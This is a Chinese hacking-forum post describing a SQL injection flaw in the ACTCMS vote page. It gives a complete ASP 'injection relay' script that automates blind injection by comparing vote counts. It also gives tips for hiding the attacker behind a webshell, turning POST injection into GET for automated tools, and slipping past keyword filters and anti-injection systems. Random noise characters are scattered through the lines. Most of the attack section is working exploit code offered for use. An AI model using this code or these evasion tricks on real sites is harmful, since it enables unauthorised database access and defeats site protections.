找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1927|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

) f" D+ H  z* C0 e  H0 |看到ninty大牛的blog的一篇文章# G+ v4 P& f# q* `% x! z
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]2 L- P! B7 ?& v
关于actcms漏洞的利用  by 3x qq:381862589
+ J' \/ S( E( ~1 O转载请注明以上: e6 \* R  X% L6 L
漏洞文件:
. e7 p- t6 y2 T/plus/vote/vote.asp# z, T2 B4 z0 ?# k6 j
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
: E( J' g% x/ D
8 B3 h) I, M+ K( L0 J! L2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
! A% t! C8 j2 r5 [) S5 u1 w6 @& T5 |! V: l9 H9 U% x* |& E. A; e# {
3    response.end   
7 c, P% `; `% _6 t' e+ c3 R7 Q$ \& n, a
4    end if    8 N% p* L4 m1 t8 O3 R! \
3 `( ]# y, M! `8 N# ]" B* O
5    for i=1 to request("voted").count    ; T9 }, t) V* W9 C/ @

3 u& i; X1 `  B' g9 ]6 n* l- u% U6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
: O9 j; G5 Y9 m5 M1 @& V: I; @8 Z
7    next   
2 M) X. J1 y( ]8 a$ t; _, a5 r
# j9 `# E9 I7 ^6 T. |8....   
' M. X3 H) |; J: N1 b% U" u# T: m( q+ W7 o, ?
9response.Redirect "index.asp?id="&id&""   
( U6 j+ K! X  M, \2 R7 `投票结束回跳转回index.asp这个投票结果页面1 g; x8 q! `# |: h. v% [& p
如果投票成功票数加1
) b4 @7 F8 ]6 u            失败票数不变" r/ h* A" W2 A
如图:+ u# v! s  j0 e2 T, `$ x
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)& C2 f. G: {4 F/ q% Y

, T/ v  _( u4 P2009-12-27 13:20
' \) ~0 j/ i: c6 {* F% R7 s0 i; @/ L( P6 h0 ?( B! \! [
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了* n' e) s- l1 ^+ e' g( r
3 A; z  e2 s# w& ~5 R
本帖隐藏的内容需要回复才可以浏览
0 p! e' K  b  O' l; J! ]% }我们用注入中转来实现这个注入具体代码如下:  B9 ^' Z$ b2 T7 s7 Y% {
先用寂寞的刺猬大牛的注入中转生成jmget.asp
) h& T/ v, ?9 {0 r! G8 b注入地址:http://localhost/actcms/plus/vote/vote.asp+ F. @; i6 N* {# w; l2 k0 q
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项# S6 W* h# x1 X1 F5 F5 ^5 L6 G
( v' X0 ?4 a+ ~" q
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
5 S7 V" |) ]5 w; Y8 L( L6 }  d7 N# x* a2 Z
02JmdcwName=request("jmdcw")
( P- o1 g/ z' D* I$ x
0 k5 a; l0 V$ \- P* M9 J& R03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
( ]* B! H3 M% a3 H. s( Q. C3 e+ K  ^5 k7 i0 j5 A7 ^
04JmStr="id=1&voted=-1 or 1="&JmdcwName ! x6 U1 A' _8 v. P
, ^3 u/ `$ m! v( @; I# \
05JmStr=URLEncoding(JmStr)
5 @6 y0 ~2 ^/ a
* {. C- H# L) o* a( Q2 O, A06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
$ ~5 s8 C5 c9 ~* b# h. b1 h; V: u  k6 O; o, z! ?& \% _
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
) E% ?8 i  j0 V. |/ C2 q: T1 F- o" M. Q( Z8 [7 e% V
08testurl=testurl & "?" & JmStr / z4 F) \. }; H4 r7 o  A
# b) Y) f# |6 O$ S. U: I
09JMUrl=JMUrl & "?" & JmStr * a4 d! X7 J+ H

3 _- R- K; O! j) o. Q10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
) u- {2 ~$ J: T' e  F7 W+ l" ~# ]2 u  o. z1 z) N
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
1 E. R* G( H* [* u. q
. Q8 y- ~5 u+ f: c) X12JmCok=replace(JmCok,chr(32),"%20")  + f7 W6 v! B! }7 `; Q

$ U, j) o9 x/ |6 y. N13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ( J" ^6 {% b: B2 G' ?. G
+ }+ D- |+ w8 ^/ H, c
14  ) E8 H& P+ E0 L
9 a+ E, M1 @0 j* p
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
# V0 d, [# _4 a! u0 |1 r' e) j
16    V  W" Y; d' ^% u
4 w7 @: b1 w) F+ ?  `
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 2 i1 ~' c* A( R# m+ \, w& s

: l; s& T. e0 @- P5 |18response.write test1&""&test2&""
' }3 O6 {0 K8 j# X2 K+ _0 G" K
: o2 e! Z/ C7 L  h% ]7 B8 i5 N19  
# V1 v: U) L4 x8 U7 L3 v
2 k3 J# g; q4 @: Q" F20if test1=test2 then '如前后记录相等,表示失败 4 g1 o- u9 ^7 _! ~4 k

) ?; `. x- O0 p2 O( E9 V0 ?21  response.write "failed"- _% A0 a) i. Y  M

& O+ P) h4 D- D6 @* w* L' _22else - T7 [0 r7 l, S; n$ F+ N
+ y9 y$ U" r6 I. \7 }8 }* H: g! m& Q# q+ ?" e
23  response.write "succeed"
% `5 @) A) M) M" ]8 g0 d; [" Q, w! P! U2 ]1 R: O  O; C
24end if  
4 r( B9 A. {& T- N& y; O( z# J9 J  f1 u+ O& \' O( C
25  
- o& j1 \) P" F' }# {+ s4 P7 x' H9 z' u8 W8 [1 [( E6 e
26response.write "by 3x"4 o( e/ o( a2 l- o! ~3 u6 S

) E. p' u. `. Y' p* j27  7 A5 v7 w+ h$ x8 }7 W+ r

( @  k/ J7 p) x: b: E* R0 D1 n28  
  u. c/ R/ t7 b& ~
+ }3 o1 R6 K/ q( T, n9 D( R' ]% R29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
0 W/ o8 s- {$ _. d+ g0 C
9 a6 _; y- [6 w7 C$ \30Dim Http ! d$ e( H6 X  p. {
, w3 Q, U' \! [5 h- v5 {8 x, \
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") * _1 A; ?( I9 ]& ~& m

) \* a3 Y" v  n$ J" L" g32With Http
: n3 {. V: n2 l( {: ~6 ?1 d2 @
  X! E- E% ~. ^2 h33  
" w: H$ K$ E4 E$ a9 D9 d# f
7 O+ o/ D* S4 k, v34.Open "GET",PostUrl,False
; C. A; J6 ~1 Q0 u# R, `+ B, S7 g+ Y
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
3 O5 i7 l$ I) i" g) M1 H! i& @7 ^0 H- U* V0 C2 U7 ]
36.SetRequestHeader "Referer",PostRef
6 \) ?" t# O( A. R) K# f! S2 P# X& u8 a* l) W; h3 ]
37.SetRequestHeader "Cookie",PostCok
& S4 |0 X3 _- ~% ?' t
2 `. f2 p% p  w$ a' I# W, ?+ K38.Send () $ w8 K! }* f+ z" Z* _- L
6 X( ?5 I' `" T' k. u4 i
39PostData = .ResponseBody 1 F' K& A: |. K' C

2 c8 a& g7 |; _7 g4 z# o" [40End With2 }- u7 }) v9 M. F

  N8 s* d8 T% V/ ?: P( I$ ?41Set Http = Nothing  R0 p2 c5 y" C9 x, X

) u$ d- ?! X' C7 G# z$ Z5 i# j42PostData =bytes2BSTR(PostData) 4 _4 i' @/ r5 V5 C& z

5 w8 c' C$ o: @" N' y0 b43End Function
# @, j/ ]  j/ Z9 T8 s# u
$ X  Y8 G3 @9 n! K44  2 U2 P9 d! C9 m1 A# t
) o! i1 E- ^! k0 o
45  
8 ]' _: a9 r" i" A
4 v% O  P) k% _/ }$ @* x2 o46Function bytes2BSTR(vIn)
, s+ Z8 p& ^* \' j) V3 h, o3 A) f8 c$ L
47Dim strReturn 7 g5 S& k: t7 w  i& Y; S
& }" L6 D# U7 |$ [- B- C; W' z
48Dim I, ThisCharCode, NextCharCode
  l( g2 r0 x9 `6 u" u4 y2 ~" O- n& N0 ~: @8 k
49strReturn = ""
) e! j9 X  X" ~$ t7 D. o0 W* Q& |( ]1 p- Y7 m
50For I = 1 To LenB(vIn) % X: N1 @6 L2 n( N# |

/ w% {! t0 P0 Z  w. T4 h51ThisCharCode = AscB(MidB(vIn, I, 1)) - z9 ?- }' k' X9 W4 U

5 Z( b! ~7 R* q9 O  H' f: R6 p- {52If ThisCharCode < &H80 Then+ |; h# \0 o* f

/ P) j+ k+ g- _- D1 {# p8 P53strReturn = strReturn & Chr(ThisCharCode) * j% M7 [, `, d6 o, d3 M$ Q7 g

1 c: H/ p7 S6 q; N54Else
7 L5 e; j0 p5 {+ Y4 v7 H, a1 B- b% a' R% m5 \9 W
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) ' I1 B1 b! L$ L% T" n

$ t% z  q' B/ ]& h; X; c5 K56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ' A$ X1 W' r0 z! v7 M! s4 m% s

: y% Q1 A7 S& \' u+ |57I = I + 1 1 Q( A3 j6 {1 i

! [' u" k5 D% z  Y+ H! a0 N58End If
, l1 D/ @) V- L. H8 ?2 Q
- n$ S1 l- x  U% V' _% R  d59Next
' n  j( ^' g- t  _
/ H; G' G0 w1 I4 _60bytes2BSTR = strReturn
4 D3 _" B4 p& [* [: }2 ~* W% _
* p' t9 ]% L- B" E+ z; P61End Function
! t0 [% R3 r: q# g7 D0 r7 O
- B& N  [6 i, x( v2 S, p7 C62  
- k& C. F5 Q7 o+ j* N  q( |& o
8 l+ C" a. K, z: Y/ K63Function URLEncoding(vstrin)  
/ z( G0 i# U5 @6 p( M$ [
7 W4 J. G1 c8 A7 R4 |64strReturn=""1 R5 B" ^+ t7 D- P+ D; Q! M

. L8 ~# c% s" Y8 ^: N65Dim i
- a$ \: Z$ Q% a6 h9 [
5 C% ~3 Z" ~7 n8 l/ J66For i=1 To Len(vstrin) 1 `. d/ K& Z8 L: y
  N" a) `! T1 U2 F7 p9 Y9 n  F
67ThisChr=Mid(vstrin,i,1)
6 M1 B; a9 k$ ]0 b% i6 ]6 r
$ i$ v) c3 `) ~9 j, Y68if Abs(Asc(ThisChr))< &HFF Then& M' C" ?+ L+ F; c& A
7 Z9 I, L3 H+ }( ?4 T9 V. `) J7 k, `
69strReturn=strReturn & ThisChr
9 M1 _3 |9 H# \8 g
* W/ U6 W$ P. l70Else
$ p6 }) ~5 t( k* ]' w
( a+ D7 n) m. N3 Q9 ^71InnerCode=Asc(ThisChr) ) p' [- r, I. O: [% s# N7 }! C

3 w2 T5 t( g- i9 Q+ ]72If InnerCode<0 Then1 h# X: u4 c1 S# q+ ~: o
4 x8 v' w: N$ E) q
73InnerCode=InnerCode + &H10000
- _' z9 v9 w' L4 h) H/ S  J  W/ e5 a/ `& @( t1 V! [) }
74End If
3 r1 ^9 l, ?; l2 D8 `
- N! q3 W3 ^/ \+ z75Hight1=(InnerCode And &HFF00) \&HFF
. e5 N2 U  a0 u0 t$ G6 X2 R9 D% b1 L; ~2 \
76Low1=InnerCode And &HFF
) [: ^% k$ Z$ z4 ^
0 `3 w+ N$ t7 F0 p! G- n3 w77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)   {* a! `9 W+ |% u  f" U9 b

5 }5 L3 d+ K- E4 z7 N5 d/ N78End if & v% Q9 ~3 D! E7 N
/ c. I! I- x0 q5 G; f
79Next
4 y' z5 c( _9 T* q1 {/ `2 r
. B$ H; p' U+ a, s. d8 x- h80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
9 {# J/ K& }) k7 n9 F& y6 T8 U2 a. C1 A
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 0 x% s! L7 u0 y& m

: p9 |; |. A7 T82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 # X# N  |* l+ S$ E* H9 b% I

  _( W$ B0 W; r/ I& T+ x- l8 q6 W! w  D2 y83URLEncoding=strReturn & d% I  b1 U% H1 [# I) Z1 d! Q3 I
4 L- p( R% i5 W
84End Function' u9 p# `4 g. R* V- x

7 B* d" ?5 o9 V" k- \85  $ |! _3 ~5 A6 c9 t

. ]) ?; B( E/ q86function getSt(body)
1 p- C, I% j, [2 E5 }
2 V; U, _! U$ _. f0 Z: k9 A87  startpot=instr(body,"投票人数:")+len("投票人数:") ; N, b0 }9 `+ Q' w. @
& T, ~0 ^# z: D6 J) a
88  endpot=instr(startpot,body," ") , o/ G5 N; \1 q$ v% c9 p9 ?

" b! Q  G; Q- g  l2 |) _$ a" [89  getSt=mid(body,startpot,endpot-startpot) ; x" ]3 ^  M+ t$ y. p' Z
' r5 S, {' i1 _: W! S* Z8 v$ V
90end function
5 Z& S1 e6 s' h! p: k9 O4 [9 E4 R2 i# p
91%>0 H' L! [$ q; @& f0 E8 p7 H: e3 b
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
& V5 c! X" H+ k* X9 E' R4 _7 `$ e7 z测试下效果:9 c- f/ G) ]2 ?5 k% C7 x
投票成功:* K2 P* O- j6 C# ^0 a8 K
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)3 V' Q3 K% }0 d
5 |" q2 s' c- h. H- q
2009-12-27 13:29
1 }1 m- g# L2 q7 S' {# X, c投票失败
, \: }! M7 c0 b4 {$ s8 phttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)( R, V; @8 n3 R0 @! v" E( A

1 u# ]$ ?1 G9 c( x( h, }8 U' o2009-12-27 13:29
4 l. g- V( i/ d( c-------------------------------------------------------------------------------
7 e' x5 n$ Y, u8 Q4 C* W" M再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
' f# D) Y8 b" S' O很抱歉。。。只能用单线程工具去注入。。。。。5 d2 X9 U7 G; _, t/ R
所以失败。。。不好意思。。。
/ g* E+ ^- @) n8 R% r+ A) T-------------------------------------------------------------------------------
$ f( R' }: M" w0 Z# G' y( c9 a% `5 z# L! i$ H
注入中转的一些其他应用
3 ?" S  d/ {( T: L- C0 `其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了8 R3 U: G! O) l  m9 M
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id) M" R5 W( A; x
2.post注入转成get型的注入,方便我们使用工具来跑
8 e8 M: G+ X4 b" t, E3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")# [5 J* }4 G/ C+ t! d
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
6 u; @" s& D- P5 F5 B- o8 ?. g- j" i2 j, m; m- A0 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表